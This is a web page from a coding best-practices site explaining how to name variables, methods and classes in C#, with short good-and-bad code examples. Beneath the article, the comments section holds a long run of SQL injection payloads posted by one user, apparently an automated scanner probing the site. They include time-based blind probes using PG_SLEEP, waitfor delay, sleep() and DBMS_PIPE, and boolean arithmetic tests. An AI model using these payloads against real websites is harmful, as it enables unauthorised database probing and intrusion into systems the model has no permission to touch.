BP273: Name your variables, methods, classes properly

One of the best practices in .NET Core and C# is to name your variables, methods, and classes properly. This may seem like a trivial thing, but it can have a significant impact on the readability and maintainability of your code. Proper naming conventions make it easier for other developers to understand your code and can help prevent bugs and errors.

When naming variables, it's important to use descriptive names that accurately reflect the purpose of the variable. Avoid using single-letter variable names or abbreviations that are not widely understood. For example, instead of using "i" as a variable name, use "index" or "counter" to make the purpose of the variable clear. Similarly, instead of using "str" as a variable name for a string, use a name that describes the content of the string, such as "firstName" or "errorMessage".

When naming methods and classes, use PascalCase to make the names more readable. PascalCase means that the first letter of each word in the name is capitalized, and there are no underscores or spaces between words. For example, a class that represents a customer might be named "Customer" and a method that retrieves customer data might be named "GetCustomerData". This makes it easier to read and understand the code, especially when working with larger projects that have many classes and methods.


// Example of poorly named variables
int i = 0; // What does "i" represent?
string str = "Hello"; // What kind of string is this?

// Example of well-named variables
int counter = 0; // Describes the purpose of the variable
string firstName = "John"; // Describes the content of the string

// Example of poorly named class and method
class C { // Not descriptive
    void m() { // Not descriptive
        // Method body
    }
}

// Example of well-named class and method
class Customer { // Describes the purpose of the class
    void GetCustomerData() { // Describes the purpose of the method
        // Method body
    }
}

Comments

No Comments Yet.
Be the first to tell us what you think.

Download Better Coder application to your phone and get unlimited access to the collection of enterprise best practices.

Get it on Google Play

Chat

Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.

Comments

RiceHawk18
e
RiceHawk18
@@xeDO0
RiceHawk18
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
RiceHawk18
e